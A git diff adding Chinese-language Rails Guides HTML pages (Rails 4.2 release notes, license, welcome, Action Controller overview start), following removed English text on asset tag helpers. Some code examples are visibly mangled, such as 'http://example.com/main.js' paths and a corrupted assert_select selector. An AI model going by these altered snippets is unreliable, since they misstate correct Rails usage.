0.083496 -Set-Cookie: _blog_session=...snip...; path=/; HttpOnly -Cache-Control: no-cache -``` - -Structuring Layouts -------------------- - -When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response: - -* Asset tags -* `yield` and `content_for` -* Partials - -### Asset Tag Helpers - -Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos, and audios. There are six asset tag helpers available in Rails: - -* `auto_discovery_link_tag` -* `javascript_include_tag` -* `stylesheet_link_tag` -* `image_tag` -* `video_tag` -* `audio_tag` - -You can use these tags in layouts or other views, although the `auto_discovery_link_tag`, `javascript_include_tag`, and `stylesheet_link_tag`, are most commonly used in the `` section of a layout. - -WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. - -#### Linking to Feeds with the `auto_discovery_link_tag` - -The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag: - -```erb -<%= auto_discovery_link_tag(:rss, {action: "feed"}, - {title: "RSS Feed"}) %> -``` - -There are three tag options available for the `auto_discovery_link_tag`: - -* `:rel` specifies the `rel` value in the link. The default value is "alternate". -* `:type` specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically. -* `:title` specifies the title of the link. The default value is the uppercase `:type` value, for example, "ATOM" or "RSS". - -#### Linking to JavaScript Files with the `javascript_include_tag` - -The `javascript_include_tag` helper returns an HTML `script` tag for each source provided. - -If you are using Rails with the [Asset Pipeline](asset_pipeline.html) enabled, this helper will generate a link to `/assets/javascripts/` rather than `public/javascripts` which was used in earlier versions of Rails. This link is then served by the asset pipeline. - -A JavaScript file within a Rails application or Rails engine goes in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. These locations are explained in detail in the [Asset Organization section in the Asset Pipeline Guide](asset_pipeline.html#asset-organization). - -You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called `javascripts` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this: - -```erb -<%= javascript_include_tag "main" %> -``` - -Rails will then output a `script` tag such as this: - -```html - -``` - -The request to this asset is then served by the Sprockets gem. - -To include multiple files such as `app/assets/javascripts/main.js` and `app/assets/javascripts/columns.js` at the same time: - -```erb -<%= javascript_include_tag "main", "columns" %> -``` - -To include `app/assets/javascripts/main.js` and `app/assets/javascripts/photos/columns.js`: - -```erb -<%= javascript_include_tag "main", "/photos/columns" %> -``` - -To include `http://example.com/main.js`: - -```erb -<%= javascript_include_tag "http://example.com/main.js" %> -``` - -#### Linking to CSS Files with the `stylesheet_link_tag` - -The `stylesheet_link_tag` helper returns an HTML `` tag for each source provided. - -If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to `/assets/stylesheets/`. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. - -You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called `stylesheets` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this: - -```erb -<%= stylesheet_link_tag "main" %> -``` - -To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/columns.css`: - -```erb -<%= stylesheet_link_tag "main", "columns" %> -``` - -To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/photos/columns.css`: - -```erb -<%= stylesheet_link_tag "main", "photos/columns" %> -``` - -To include `http://example.com/main.css`: - -```erb -<%= stylesheet_link_tag "http://example.com/main.css" %> -``` - -By default, the `stylesheet_link_tag` creates links with `media="screen" rel="stylesheet"`. You can override any of these defaults by specifying an appropriate option (`:media`, `:rel`): - -```erb -<%= stylesheet_link_tag "main_print", media: "print" %> -``` - -#### Linking to Images with the `image_tag` - -The `image_tag` helper builds an HTML `` tag to the specified file. By default, files are loaded from `public/images`. - -WARNING: Note that you must specify the extension of the image. - -```erb -<%= image_tag "header.png" %> -``` - -You can supply a path to the image if you like: - -```erb -<%= image_tag "icons/delete.gif" %> -``` - -You can supply a hash of additional HTML options: - -```erb -<%= image_tag "icons/delete.gif", {height: 45} %> -``` - -You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code: - -```erb -<%= image_tag "home.gif" %> -<%= image_tag "home.gif", alt: "Home" %> -``` - -You can also specify a special size tag, in the format "{width}x{height}": - -```erb -<%= image_tag "home.gif", size: "50x20" %> -``` - -In addition to the above special tags, you can supply a final hash of standard HTML options, such as `:class`, `:id` or `:name`: - -```erb -<%= image_tag "home.gif", alt: "Go Home", - id: "HomeImage", - class: "nav_bar" %> -``` - -#### Linking to Videos with the `video_tag` - -The `video_tag` helper builds an HTML 5 `
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/4_2_release_notes.html b/v4.1/4_2_release_notes.html new file mode 100644 index 0000000..63fe3fe --- /dev/null +++ b/v4.1/4_2_release_notes.html @@ -0,0 +1,838 @@ + + + + + + + +Ruby on Rails 4.2 发布记 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Ruby on Rails 4.2 发布记

Rails 4.2 精华摘要:

+
    +
  • Active Job
  • +
  • 异步邮件
  • +
  • Adequate Record
  • +
  • Web 终端
  • +
  • 外键支持
  • +
+

本篇仅记录主要的变化。要了解关于已修复的 Bug、特性变更等,请参考 Rails GitHub 主页上各个 Gem 的 CHANGELOG 或是 Rails 的提交历史

+ + + +
+
+ +
+
+
+

1 升级至 Rails 4.2

如果您正试着升级现有的应用,应用最好要有足够的测试。第一步先升级至 4.1,确保应用仍正常工作,接着再升上 4.2。升级需要注意的事项在 Ruby on Rails 升级指南可以找到。

2 重要新特性

2.1 Active Job

Active Job 是 Rails 4.2 新搭载的框架。是队列系统(Queuing systems)的统一接口,用来连接像是 ResqueDelayed +JobSidekiq 等队列系统。

采用 Active Job API 撰写的任务程序(Background jobs),便可在任何支持的队列系统上运行而无需对代码进行任何修改。Active Job 缺省会即时执行任务。

任务通常需要传入 Active Record 对象作为参数。Active Job 将传入的对象作为 URI(统一资源标识符),而不是直接对对象进行 marshal。新增的 GlobalID 函式库,给对象生成统一资源标识符,并使用该标识符来查找对象。现在因为内部使用了 Global ID,任务只要传入 Active Record 对象即可。

譬如,trashable 是一个 Active Record 对象,则下面这个任务无需做任何序列化,便可正常完成任务:

+
+class TrashableCleanupJob < ActiveJob::Base
+  def perform(trashable, depth)
+    trashable.cleanup(depth)
+  end
+end
+
+
+
+

参考 Active Job 基础指南来进一步了解。

2.2 异步邮件

构造于 Active Job 之上,Action Mailer 新增了 #deliver_later 方法,通过队列来发送邮件,若开启了队列的异步特性,便不会拖慢控制器或模型的运行(缺省队列是即时执行任务)。

想直接发送信件仍可以使用 deliver_now

2.3 Adequate Record

Adequate Record 是对 Active Record findfind_by 方法以及其它的关联查询方法所进行的一系列重构,查询速度最高提升到了两倍之多。

工作原理是在执行 Active Record 调用时,把 SQL 查询语句缓存起来。有了查询语句的缓存之后,同样的 SQL 查询就无需再次把调用转换成 SQL 语句。更多细节请参考 Aaron Patterson 的博文

Adequate Record 已经合并到 Rails 里,所以不需要特别启用这个特性。多数的 findfind_by 调用和关联查询会自动使用 Adequate Record,比如:

+
+Post.find(1)  # First call generates and cache the prepared statement
+Post.find(2)  # Subsequent calls reuse the cached prepared statement
+
+Post.find_by_title('first post')
+Post.find_by_title('second post')
+
+post.comments
+post.comments(true)
+
+
+
+

有一点特别要说明的是,如上例所示,缓存的语句不会缓存传入的数值,只是缓存语句的模版而已。

下列场景则不会使用缓存:

+
    +
  • 当 model 有缺省作用域时
  • +
  • 当 model 使用了单表继承时
  • +
  • find 查询一组 ID 时:
  • +
+
+
+  # not cached
+  Post.find(1, 2, 3)
+  Post.find([1,2])
+
+
+
+ +
    +
  • 以 SQL 片段执行 find_by
  • +
+
+
+  Post.find_by('published_at < ?', 2.weeks.ago)
+
+
+
+

2.4 Web 终端

用 Rails 4.2 新产生的应用程序,缺省搭载了 Web 终端。Web 终端给错误页面添加了一个互动式 Ruby 终端,并提供视图帮助方法 console,以及一些控制器帮助方法。

错误页面的互动式的终端,让你可以在异常发生的地方执行代码。插入 console 视图帮助方法到任何页面,便可以在页面的上下文里,在页面渲染结束后启动一个互动式的终端。

最后,可以执行 rails console 来启动一个 VT100 终端。若需要建立或修改测试资料,可以直接从浏览器里执行。

2.5 外键支持

迁移 DSL 现在支持新增、移除外键,外键也会导出到 schema.rb。目前只有 mysqlmysql2 以及 postgresql 的适配器支持外键。

+
+# add a foreign key to `articles.author_id` referencing `authors.id`
+add_foreign_key :articles, :authors
+
+# add a foreign key to `articles.author_id` referencing `users.lng_id`
+add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id"
+
+# remove the foreign key on `accounts.branch_id`
+remove_foreign_key :accounts, :branches
+
+# remove the foreign key on `accounts.owner_id`
+remove_foreign_key :accounts, column: :owner_id
+
+
+
+

完整说明请参考 API 文档:add_foreign_keyremove_foreign_key

3 Rails 4.2 向下不兼容的部份

前版弃用的特性已全数移除。请参考文后下列各 Rails 部件来了解 Rails 4.2 新弃用的特性有那些。

以下是升级至 Rails 4.2 所需要立即采取的行动。

3.1 render 字串参数

4.2 以前在 Controller action 调用 render "foo/bar" 时,效果等同于:render file: "foo/bar";Rails 4.2 则改为 render template: "foo/bar"。如需 render 文件,请将代码改为 render file: "foo/bar"

3.2 respond_with / class-level respond_to +

respond_with 以及对应的类别层级 respond_to 被移到了 responders gem。要使用这个特性,把 gem 'responders', '~> 2.0' 加入到 Gemfile:

+
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  respond_to :html, :json
+
+  def show
+    @user = User.find(params[:id])
+    respond_with @user
+  end
+end
+
+
+
+

而实例层级的 respond_to 则不受影响:

+
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  def show
+    @user = User.find(params[:id])
+    respond_to do |format|
+      format.html
+      format.json { render json: @user }
+    end
+  end
+end
+
+
+
+

3.3 rails server 的缺省主机(host)变更

由于 Rack 的一项修正rails server 现在缺省会监听 localhost 而不是 0.0.0.0http://127.0.0.1:3000http://localhost:3000 仍可以像先前一般使用。

但这项变更禁止了从其它机器访问 Rails 服务器(譬如开发环境位于虚拟环境里,而想要从宿主机器上访问),则需要用 rails server -b 0.0.0.0 来启动,才能像先前一样使用。

若是使用了 0.0.0.0,记得要把防火墙设置好,改成只有信任的机器才可以存取你的开发服务器。

3.4 HTML Sanitizer

HTML sanitizer 换成一个新的、更加安全的实现,基于 Loofah 和 Nokogiri。新的 Sanitizer 更安全,而 sanitization 更加强大与灵活。

有了新的 sanitization 算法之后,某些 pathological 输入的输出会和之前不太一样。

若真的需要使用旧的 sanitizer,可以把 rails-deprecated_sanitizer 加到 Gemfile,便会用旧的 sanitizer 取代掉新的。而因为这是自己选择性加入的 gem,所以并不会抛出弃用警告。

Rails 4.2 仍会维护 rails-deprecated_sanitizer,但 Rails 5.0 之后便不会再进行维护。

参考这篇文章来了解更多关于新的 sanitizer 的变更内容细节。

3.5 assert_select +

assert_select 测试方法现在用 Nokogiri 改写了。

不再支援某些先前可用的选择器。若应用程式使用了以下的选择器,则会需要进行更新:

+
    +
  • +

    属性选择器的数值需要用双引号包起来。

    +
    +
    +a[href=/]      =>     a[href="http://github.com/"]
    +a[href$=/]     =>     a[href$="/"]
    +
    +
    +
    +
  • +
  • +

    含有错误嵌套的 HTML 所建出来的 DOM 可能会不一样

    +

    譬如:

    +
    +
    +# content: <div><i><p></i></div>
    +
    +# before:
    +assert_select('div > i')  # => true
    +assert_select('div > p')  # => false
    +assert_select('i > p')    # => true
    +
    +# now:
    +assert_select('div > i')  # => true
    +assert_select('div > p')  # => true
    +assert_select('i > p')    # => false
    +
    +
    +
    +
  • +
  • +

    之前要比较含有 HTML entities 的元素要写未经转译的 HTML,现在写转译后的即可

    +
    +
    +# content: <p>AT&amp;T</p>
    +
    +# before:
    +assert_select('p', 'AT&amp;T')  # => true
    +assert_select('p', 'AT&T')      # => false
    +
    +# now:
    +assert_select('p', 'AT&T')      # => true
    +assert_select('p', 'AT&amp;T')  # => false
    +
    +
    +
    +
  • +
+

4 Railties

请参考 CHANGELOG 来了解更多细节。

4.1 移除

+
    +
  • --skip-action-view 选项从 app generator 移除。 +(Pull Request)

  • +
  • 移除 rails application 命令。 +(Pull Request)

  • +
+

4.2 弃用

+
    +
  • 生产环境新增 config.log_level 设置。 +(Pull Request)

  • +
  • 弃用 rake test:all,请改用 rake test 来执行 test 目录下的所有测试。 +(Pull Request)

  • +
  • 弃用 rake test:all:db,请改用 rake test:db。 +(Pull Request)

  • +
  • 弃用 Rails::Rack::LogTailer,没有替代方案。 +(Commit)

  • +
+

4.3 值得一提的变化

+
    +
  • web-console 导入为应用内建的 Gem。 +(Pull Request)

  • +
  • Model 用来产生关联的 generator 添加 required 选项。 +(Pull Request)

  • +
  • 导入 after_bundle 回调到 Rails 模版。 +(Pull Request)

  • +
  • +

    导入 x 命名空间,可用来自订设置选项:

    +
    +
    +# config/environments/production.rb
    +config.x.payment_processing.schedule = :daily
    +config.x.payment_processing.retries  = 3
    +config.x.super_debugger              = true
    +
    +
    +
    +

    这些选项都可以从设置对象里获取:

    +
    +
    +Rails.configuration.x.payment_processing.schedule # => :daily
    +Rails.configuration.x.payment_processing.retries  # => 3
    +Rails.configuration.x.super_debugger              # => true
    +
    +
    +
    +

    (Commit)

    +
  • +
  • +

    导入 Rails::Application.config_for,用来给当前的环境载入设置

    +
    +
    +# config/exception_notification.yml:
    +production:
    +  url: http://127.0.0.1:8080
    +  namespace: my_app_production
    +development:
    +  url: http://localhost:3001
    +  namespace: my_app_development
    +
    +# config/production.rb
    +Rails.application.configure do
    +  config.middleware.use ExceptionNotifier, config_for(:exception_notification)
    +end
    +
    +
    +
    +

    (Pull Request)

    +
  • +
  • 产生器新增 --skip-turbolinks 选项,可在新建应用时拿掉 turbolink。 +(Commit)

  • +
  • 导入 bin/setup 脚本来启动(bootstrapping)应用。 +(Pull Request)

  • +
  • config.assets.digest 在开发模式的缺省值改为 true。 +(Pull Request)

  • +
  • 导入给 rake notes 注册新扩充功能的 API。 +(Pull Request)

  • +
  • 导入 Rails.gem_version 作为返回 Gem::Version.new(Rails.version) 的便捷方法。 +(Pull Request)

  • +
+

5 Action Pack

请参考 CHANGELOG 来了解更多细节。

5.1 移除

+
    +
  • respond_with 以及类别层级的 respond_to 从 Rails 移除,移到 responders gem(版本 2.0)。要继续使用这个特性,请在 Gemfile 添加:gem 'responders', '~> 2.0'。(Pull Request)

  • +
  • 移除弃用的 AbstractController::Helpers::ClassMethods::MissingHelperError, +改用 AbstractController::Helpers::MissingHelperError 取代。 +(Commit)

  • +
+

5.2 弃用

+
    +
  • 弃用 *_path 帮助方法的 only_path 选项。 +(Commit)

  • +
  • 弃用 assert_tagassert_no_tagfind_tag 以及 find_all_tag,请改用 assert_select。 +(Commit)

  • +
  • +

    弃用路由的 :to 选项里,:to 可以指向符号或不含井号的字串这两个功能。

    +
    +
    +get '/posts', to: MyRackApp    => (No change necessary)
    +get '/posts', to: 'post#index' => (No change necessary)
    +get '/posts', to: 'posts'      => get '/posts', controller: :posts
    +get '/posts', to: :index       => get '/posts', action: :index
    +
    +
    +
    +

    (Commit)

    +
  • +
  • +

    弃用 URL 帮助方法不再支持使用字串作为键:

    +
    +
    +# bad
    +root_path('controller' => 'posts', 'action' => 'index')
    +
    +# good
    +root_path(controller: 'posts', action: 'index')
    +
    +
    +
    +

    (Pull Request)

    +
  • +
+

5.3 值得一提的变化

+
    +
  • +

    *_filter 方法已经从文件中移除,已经不鼓励使用。偏好使用 *_action 方法:

    +
    +
    +after_filter          => after_action
    +append_after_filter   => append_after_action
    +append_around_filter  => append_around_action
    +append_before_filter  => append_before_action
    +around_filter         => around_action
    +before_filter         => before_action
    +prepend_after_filter  => prepend_after_action
    +prepend_around_filter => prepend_around_action
    +prepend_before_filter => prepend_before_action
    +skip_after_filter     => skip_after_action
    +skip_around_filter    => skip_around_action
    +skip_before_filter    => skip_before_action
    +skip_filter           => skip_action_callback
    +
    +
    +
    +

    若应用程式依赖这些 *_filter 方法,应该使用 *_action 方法替换。 +因为 *_filter 方法最终会从 Rails 里拿掉。 +(Commit 1, +2)

    +
  • +
  • render nothing: true 或算绘 nil 不再加入一个空白到响应主体。 +(Pull Request)

  • +
  • Rails 现在会自动把模版的 digest 加入到 ETag。 +(Pull Request)

  • +
  • 传入 URL 辅助方法的片段现在会自动 Escaped。 +(Commit)

  • +
  • 导入 always_permitted_parameters 选项,用来设置全局允许赋值的参数。 +缺省值是 ['controller', 'action']。 +(Pull Request)

  • +
  • RFC 4791 新增 HTTP 方法 MKCALENDAR。 +(Pull Request)

  • +
  • *_fragment.action_controller 通知消息的 Payload 现在会带有控制器和动作名称。 +(Pull Request)

  • +
  • 改善路由错误页面,搜索路由支持模糊搜寻。 +(Pull Request)

  • +
  • 新增关掉记录 CSRF 失败的选项。 +(Pull Request)

  • +
  • 当使用 Rails 服务器来提供静态资源时,若客户端支持 gzip,则会自动传送预先产生好的 gzip 静态资源。Asset Pipeline 缺省会给所有可压缩的静态资源产生 .gz 文件。传送 gzip 可将所需传输的数据量降到最小,并加速静态资源请求的存取。当然若要在 Rails 生产环境提供静态资源,最好还是使用 CDN。(Pull Request)

  • +
  • +

    在整合测试里调用 process 帮助方法时,路径开始需要有 /。以前可以忽略开头的 /,但这是实作所产生的副产品,而不是有意新增的特性,譬如:

    +
    +
    +test "list all posts" do
    +  get "/posts"
    +  assert_response :success
    +end
    +
    +
    +
    +
  • +
+

6 Action View

请参考 CHANGELOG 来了解更多细节。

6.1 弃用

+
    +
  • 弃用 AbstractController::Base.parent_prefixes。想修改寻找视图的位置, +请覆盖 AbstractController::Base.local_prefixes。 +(Pull Request)

  • +
  • 弃用 ActionView::Digestor#digest(name, format, finder, options = {}),现在参数改用 Hash 传入。 +(Pull Request)

  • +
+

6.2 值得一提的变化

+
    +
  • render "foo/bar" 现在等同 render template: "foo/bar" 而不是 render file: "foo/bar"。(Pull Request)

  • +
  • 隐藏栏位的表单辅助方法不再产生含有行内样式表的 <div> 元素。 +(Pull Request)

  • +
  • 导入一个特别的 #{partial_name}_iteration 局部变量,给在 collection 里渲染的部分视图(Partial)使用。这个变量可以通过 #index#sizefirst? 以及 last? 等方法来获得目前迭代的状态。(Pull Request)

  • +
  • Placeholder I18n 遵循和 label I18n 一样的惯例。 +(Pull Request)

  • +
+

7 Action Mailer

请参考 CHANGELOG 来了解更多细节。

7.1 弃用

+
    +
  • Mailer 弃用所有 *_path 的帮助方法。请全面改用 *_url。 +(Pull Request)

  • +
  • 弃用 deliverdeliver!,请改用 deliver_nowdeliver_now!。 +(Pull Request)

  • +
+

7.2 值得一提的变化

+
    +
  • link_tourl_for 在模版里缺省产生绝对路径,不再需要传入 only_path: false。 +(Commit)

  • +
  • 导入 deliver_later 方法,将邮件加到应用的队列里,用来异步发送邮件。 +(Pull Request)

  • +
  • 新增 show_previews 选项,用来在开发环境之外启用邮件预览特性。 +(Pull Request)

  • +
+

8 Active Record

请参考 CHANGELOG 来了解更多细节。

8.1 移除

+
    +
  • 移除 cache_attributes 以及其它相关的方法,所有的属性现在都会缓存了。 +(Pull Request)

  • +
  • 移除已弃用的方法 ActiveRecord::Base.quoted_locking_column. +(Pull Request)

  • +
  • 移除已弃用的方法 ActiveRecord::Migrator.proper_table_name。 +请改用 ActiveRecord::Migration 的实例方法:proper_table_name。 +(Pull Request)

  • +
  • 移除了未使用的 :timestamp 类型。把所有 timestamp 类型都改为 :datetime 的别名。 +修正在 ActiveRecord 之外,栏位类型不一致的问题,譬如 XML 序列化。 +(Pull Request)

  • +
+

8.2 弃用

+
    +
  • 弃用 after_commitafter_rollback 会吃掉错误的行为。 +(Pull Request)

  • +
  • 弃用对 has_many :through 自动侦测 counter cache 的支持。要自己对 has_manybelongs_to 关联,给 through 的记录手动设置。 +(Pull Request)

  • +
  • 弃用 .find.exists? 可传入 Active Record 对象。请先对对象调用 #id。 +(Commit 1, +2)

  • +
  • +

    弃用仅支持一半的 PostgreSQL 范围数值(不包含起始值)。目前我们把 PostgreSQL 的范围对应到 Ruby 的范围。但由于 Ruby 的范围不支持不包含起始值,所以无法完全转换。

    +

    目前的解决方法是将起始数递增,这是不对的,已经弃用了。关于不知如何递增的子类型(比如没有定义 #succ)会对不包含起始值的抛出 ArgumentError

    +

    (Commit)

    +
  • +
  • 弃用无连接调用 DatabaseTasks.load_schema。请改用 DatabaseTasks.load_schema_current 来取代。 +(Commit)

  • +
  • 弃用 sanitize_sql_hash_for_conditions,没有替代方案。使用 Relation 来进行查询或更新是推荐的做法。 +(Commit)

  • +
  • 弃用 add_timestampst.timestamps 可不用传入 :null 选项的行为。Rails 5 将把缺省 null: true 改为 null: false。 +(Pull Request)

  • +
  • 弃用 Reflection#source_macro,没有替代方案。Active Record 不再需要这个方法了。 +(Pull Request)

  • +
  • 弃用 serialized_attributes,没有替代方案。 +(Pull Request)

  • +
  • 弃用了当栏位不存在时,还会从 column_for_attribute 返回 nil 的情况。 +Rails 5.0 将会返回 Null Object。 +(Pull Request)

  • +
  • 弃用了 serialized_attributes,没有替代方案。 +(Pull Request)

  • +
  • 弃用依赖实例状态(有定义接受参数的作用域)的关联可以使用 .joins.preload 以及 .eager_load 的行为 +(Commit)

  • +
+

8.3 值得一提的变化

+
    +
  • SchemaDumpercreate_table 使用 force: :cascade。这样就可以重载加入外键的纲要文件。

  • +
  • 单数关联增加 :required 选项,用来定义关联的存在性验证。 +(Pull Request)

  • +
  • ActiveRecord::Dirty 现在会侦测可变数值的变化。序列化过的属性只在有变更时才会保存。 +修复了像是 PostgreSQL 不会侦测到字串或 JSON 栏位改变的问题。 +(Pull Requests 1, +2, +3)

  • +
  • 导入 bin/rake db:purge 任务,用来清空当前环境的数据库。 +(Commit)

  • +
  • 导入 ActiveRecord::Base#validate!,若记录不合法时会抛出 RecordInvalid。 +(Pull Request)

  • +
  • 引入 #validate 作为 #valid? 的别名。 +(Pull Request)

  • +
  • #touch 现在可一次对多属性操作。 +(Pull Request)

  • +
  • PostgreSQL 适配器现在支持 PostgreSQL 9.4+ 的 jsonb 数据类型。 +(Pull Request)

  • +
  • 新增 PostgreSQL 适配器的 citext 支持。 +(Pull Request)

  • +
  • PostgreSQL 与 SQLite 适配器不再默认限制字串只能 255 字符。 +(Pull Request)

  • +
  • 新增 PostgreSQL 适配器的使用自建的范围类型支持。 +(Commit)

  • +
  • sqlite3:///some/path 现在可以解析系统的绝对路径 /some/path。 +相对路径请使用 sqlite3:some/path。(先前是 sqlite3:///some/path +会解析成 some/path。这个行为已在 Rails 4.1 被弃用了。 Rails 4.1.) +(Pull Request)

  • +
  • 新增 MySQL 5.6 以上版本的 fractional seconds 支持。 +(Pull Request 1, 2)

  • +
  • 新增 ActiveRecord::Base 对象的 #pretty_print 方法。 +(Pull Request)

  • +
  • ActiveRecord::Base#reload 现在的行为同 m = Model.find(m.id),代表不再给自定的 +select 保存额外的属性。 +(Pull Request)

  • +
  • ActiveRecord::Base#reflections 现在返回的 hash 的键是字串类型,而不是符号。 (Pull Request)

  • +
  • 迁移的 references 方法支持 type 选项,用来指定外键的类型,比如 :uuid。 +(Pull Request)

  • +
+

9 Active Model

请参考 CHANGELOG 来了解更多细节。

9.1 移除

+
    +
  • 移除了 Validator#setup,没有替代方案。 +(Pull Request)
  • +
+

9.2 弃用

+
    +
  • 弃用 reset_#{attribute},请改用 restore_#{attribute}。 +(Pull Request)

  • +
  • 弃用 ActiveModel::Dirty#reset_changes,请改用 #clear_changes_information。 +(Pull Request)

  • +
+

9.3 值得一提的变化

+
    +
  • 引入 #validate 作为 #valid? 的别名。 +(Pull Request)

  • +
  • ActiveModel::Dirty 导入 restore_attributes 方法,用来回复已修改的属性到先前的数值。 +(Pull Request 1, +2)

  • +
  • has_secure_password 现在缺省允许空密码(只含空白的密码也算空密码)。 +(Pull Request)

  • +
  • 验证启用时,has_secure_password 现在会检查密码是否少于 72 个字符。 +(Pull Request)

  • +
+

10 Active Support

请参考 CHANGELOG 来了解更多细节。

10.1 移除

+
    +
  • 移除弃用的 Numeric#agoNumeric#untilNumeric#since 以及 +Numeric#from_now. (Commit)

  • +
  • 移除弃用 ActiveSupport::Callbacks 基于字串的终止符。 +(Pull Request)

  • +
+

10.2 弃用

+
    +
  • 弃用 Kernel#silence_stderrKernel#capture 以及 Kernel#quietly 方法,没有替代方案。(Pull Request)

  • +
  • 弃用 Class#superclass_delegating_accessor,请改用 Class#class_attribute。 +(Pull Request)

  • +
  • 弃用 ActiveSupport::SafeBuffer#prepend! 请改用 ActiveSupport::SafeBuffer#prepend(两者功能相同)。 +(Pull Request)

  • +
+

10.3 值得一提的变化

+
    +
  • 导入新的设置选项: active_support.test_order,用来指定测试执行的顺序,预设是 :sorted,在 Rails 5.0 将会改成 :random。(Commit)

  • +
  • Object#tryObject#try! 方法现在不需要消息接收者也可以使用。 +(Commit, +Pull Request)

  • +
  • travel_to 测试辅助方法现在会把 usec 部分截断为 0。 +(Commit)

  • +
  • 导入 Object#itself 作为 identity 函数(返回自身的函数)。(Commit 12)

  • +
  • Object#with_options 方法现在不需要消息接收者也可以使用。 +(Pull Request)

  • +
  • 导入 String#truncate_words 方法,可指定要单词截断至几个单词。 +(Pull Request)

  • +
  • 新增 Hash#transform_valuesHash#transform_values! 方法,来简化 Hash 值需要更新、但键保留不变这样的常见模式。 +(Pull Request)

  • +
  • humanize 现在会去掉前面的底线。 +(Commit)

  • +
  • 导入 Concern#class_methods 来取代 module ClassMethods 以及 Kernel#concern,来避免使用 module Foo; extend ActiveSupport::Concern; end 这样的样板。 +(Commit)

  • +
  • 新增一篇指南,关于常量的载入与重载。

  • +
+

11 致谢

许多人花费宝贵的时间贡献至 Rails 项目,使 Rails 成为更稳定、更强韧的网络框架,参考完整的 Rails 贡献者清单,感谢所有的贡献者!

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/_license.html b/v4.1/_license.html new file mode 100644 index 0000000..ac747fc --- /dev/null +++ b/v4.1/_license.html @@ -0,0 +1,236 @@ + + + + + + + + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+ + + +
+
+ +
+
+
+

本著作采用创用 CC 姓名标示-相同方式分享 4.0 国际授权条款授权。

+

“Rails”、“Ruby on Rails”,以及 Rails logo 为 David Heinemeier Hansson 的商标。版权所有。

+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/_welcome.html b/v4.1/_welcome.html new file mode 100644 index 0000000..7b5e636 --- /dev/null +++ b/v4.1/_welcome.html @@ -0,0 +1,247 @@ + + + + + + + + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+ + + +
+
+ +
+
+
+

Ruby on Rails 指南 (651bba1)

+
+

基于 Rails 4.1 翻译而成。

+ +

Rails Guides 涵盖 Rails 的方方面面,文章内容深入浅出,易于理解,是 Rails 入门、开发的必备参考。

+ +

+ 其它版本:Rails 4.0.8Rails 3.2.19Rails 2.3.11。 +

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/action_controller_overview.html b/v4.1/action_controller_overview.html new file mode 100644 index 0000000..edb6b11 --- /dev/null +++ b/v4.1/action_controller_overview.html @@ -0,0 +1,1188 @@ + + + + + + + +Action Controller 简介 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Action Controller 简介

本文介绍控制器的工作原理,以及控制器在程序请求周期内扮演的角色。

读完本文,你将学到:

+
    +
  • 请求如何进入控制器;
  • +
  • 如何限制传入控制器的参数;
  • +
  • 为什么以及如何把数据存储在会话或 cookie 中;
  • +
  • 处理请求时,如何使用过滤器执行代码;
  • +
